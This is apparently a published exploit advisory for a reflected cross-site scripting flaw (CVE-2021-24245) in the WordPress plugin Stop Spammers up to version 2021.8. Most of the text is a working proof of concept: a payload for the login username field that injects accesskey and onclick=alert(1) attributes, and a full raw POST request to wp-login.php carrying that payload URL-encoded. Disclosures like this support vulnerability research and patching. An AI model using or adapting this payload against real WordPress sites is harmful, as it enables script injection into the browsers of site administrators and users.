WordPress Plugin Stop Spammers 2021.8 - 'log' Reflected Cross-site Scripting (XSS)

# Exploit Title: WordPress Plugin Stop Spammers 2021.8 - 'log' Reflected Cross-site Scripting (XSS)
# Date: 04/08/2021
# Exploit Author: Hosein Vita
# Vendor Homepage: https://wordpress.org/plugins/stop-spammer-registrations-plugin/
# Software Link: https://downloads.wordpress.org/plugin/stop-spammer-registrations-plugin.zip
# Version: <= 2021.8
# Tested on: Windows-Ubuntu
# CVE : CVE-2021-24245

Summary:

Reflected cross-site scripting (XSS) vulnerabilities in 'Stop Spammers <= 2021.8' allow remote attackers to run arbitary javascript

Proof of concepts:

1-Install "Stop Spammers <= 2021.8" in your wordpress website
2-For testing remove your IP address from the allowed list
3-Go to http://<YOUR-WEBSITE>/wp-admin
4-In username field enter this payload ~> ad" accesskey=X onclick=alert(1) "
#Notice the `ad` keyword must be in your payload!
5-Press Alt + Shift + X to trigger Xss
#Tested on Firefox

Request POC:

POST /wp-login.php HTTP/1.1
Host: localhost
Connection: close
Content-Length: 161
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: wordpress_test_cookie=WP+Cookie+check;

log=ad%22+accesskey%3DX+onclick%3Dalert%281%29+%22&pwd=&wp-submit=%D9%88%D8%B1%D9%88%D8%AF&redirect_to=http://localhost/wp-admin&testcookie=1